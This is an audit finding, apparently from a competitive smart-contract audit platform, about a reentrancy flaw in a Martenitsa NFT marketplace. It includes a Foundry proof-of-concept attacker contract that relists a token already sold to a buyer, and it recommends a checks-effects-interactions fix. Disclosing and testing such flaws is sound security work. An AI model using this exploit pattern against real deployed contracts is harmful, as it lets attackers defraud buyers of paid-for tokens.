Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious producer contract can put on sale token sold to other user

Summary

In MartenitsaMarketplace::buyMartenitsa the funds are trasfered through (bool sent, ) = seller.call{value: salePrice}(""); which gives the abitility to a smartcontract seller to run arbritrary code.
Becose the token is transfered after this call when the producer contract is called, that contract is still the owner of the Martenitsa

Impact

A malicious contract can use a callback function to put back on sale (with an arbitrary price) the Martenitsa bought by another user.

Proof of Concept:
Add this test to a new test file:

Proof Of Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import {Test} from "forge-std/Test.sol";
import {BaseTest} from "./BaseTest.t.sol";
import {MartenitsaToken} from "./../src/MartenitsaToken.sol";
import {MartenitsaMarketplace} from "./../src/MartenitsaMarketplace.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Penetration is Test, BaseTest {
address[] public newProducers;
address attacker;
function testFakeSellMartenitsa() public {
attacker = makeAddr("attacker");
// Deploy attacker contract
AttackerProducerCotnract attackerProducerContract =
new AttackerProducerCotnract(address(martenitsaToken), address(marketplace));
// Add this contract to the producers
newProducers.push(address(attackerProducerContract));
martenitsaToken.setProducers(newProducers);
vm.prank(attacker);
attackerProducerContract.produceMartenitsa();
// Bob buy the Martenitsa but the Martenitsa is put back on sale
vm.prank(bob);
marketplace.buyMartenitsa{value: 1 wei}(0);
assert(marketplace.getListing(0).forSale == true);
}
}
contract AttackerProducerCotnract is IERC721Receiver {
MartenitsaToken public martenitsaToken;
MartenitsaMarketplace public marketplace;
constructor(address _martenitsaToken, address _marketplace) {
martenitsaToken = MartenitsaToken(_martenitsaToken);
marketplace = MartenitsaMarketplace(_marketplace);
}
function produceMartenitsa() external {
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
}
receive() external payable {
marketplace.listMartenitsaForSale(0, 1 wei);
}
function onERC721Received(
address, /* operator */
address, /* from */
uint256, /* tokenId */
bytes calldata /* data */
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
## Tools Used Foundry

Recommendations

Follow the CEI pattern in MartenitsaMarketplace::buyMartenitsa.

function buyMartenitsa(uint256 tokenId) external payable {
...
emit MartenitsaSold(tokenId, buyer, salePrice);
+ // Transfer the token to the buyer
+ martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
// Transfer funds to seller
(bool sent, ) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
- // Transfer the token to the buyer
- martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.